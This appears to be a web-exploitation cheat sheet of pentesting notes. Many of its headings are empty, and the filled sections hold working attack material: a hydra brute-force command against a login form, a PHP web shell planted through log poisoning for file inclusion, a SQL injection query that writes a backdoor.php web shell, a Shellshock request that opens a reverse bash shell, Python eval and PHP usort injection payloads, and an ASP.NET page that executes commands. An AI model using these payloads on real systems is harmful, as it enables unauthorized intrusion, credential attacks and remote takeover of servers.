Exploitation
Credentials
Create Passwd Directory for Brute Force
Default Credentials
Crack hash
Broute force
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.169.106 --http-post-form '/login:user=^USER^,pass=^PASS^:Unauthorized'
Directory Traversal
Unix
Windows
PHP Wrappers
Inject php code via plantext
Inject php code via base64
Encode base64 file before read it.
File Inclusion
Local File Inclusion
Null byte: %00
Write payload to access.log
file
$ nc -nv 192.168.11.131 80
(UNKNOWN) [192.168.11.131] 80 (http) open
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>
Get RCE via file inclusion
Remote File Inclusion
SQL Injection
Authentication Bypass
Enumerating the Database
SQLi to Code Execution
Read file
Write backdoor
union all select 1, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php', 3
Automating SQL Injection
sqlmap
- B: Boolean-based blind
- E: Error-based
- U: Union query-based
- S: Stacked queries
- T: Time-based blind
- Q: Inline queries
dump databases
execute a shell
file post
Shellshock POC
curl -H "user-agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/$myip/445 0>&1'" http://$ip/cgi-bin/user.sh
Command Execution
Code Execution
Ruby
Python
eval('"'+1+'"')
"%2bos.system('id')%2b"
"%2bos.popen('id').read()%2b"
"%2b__import__('os').popen('id').read()%2b"
"%2b__import__('os').popen(__import__('base64').b64decode('aWQ=')).read()%2b"
Perl
PHP
usort()
$1 = $_GET["1"];
usort(function('$a, $b', 'return strcmp($a->'.$1.',$b->'.$1.');'));
?1=id);}system('id');//
preg_replace()
assert()
site.master to RCE
<%@ Language="C#" src="site.master.cs" Inherits="MyNamespaceMaster.MyClassMaster" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head runat="server">
<title>Butch</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="application-name" content="Butch">
<meta name="author" content="Butch">
<meta name="description" content="Butch">
<meta name="keywords" content="Butch">
<link media="all" href="style.css" rel="stylesheet" type="text/css" />
<link id="favicon" rel="shortcut icon" type="image/png" href="favicon.png" />
</head>
<body>
<div id="wrap">
<div id="header">Welcome to Butch Repository</div>
<div id="main">
<div id="content">
<br />
<asp:contentplaceholder id="ContentPlaceHolder1" runat="server"></asp:contentplaceholder>
<br />
</div>
</div>
</div>
</body>
</html>
<%
string stdout = "";
string cmd = "whoami";
System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
procStartInfo.RedirectStandardOutput = true;
procStartInfo.UseShellExecute = false;
procStartInfo.CreateNoWindow = true;
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo = procStartInfo;
p.Start();
stdout = p.StandardOutput.ReadToEnd();
Response.Write(stdout);
%>
XSS Basic Exploit
Break code
Content Injection
Stealing Cookies and Session Information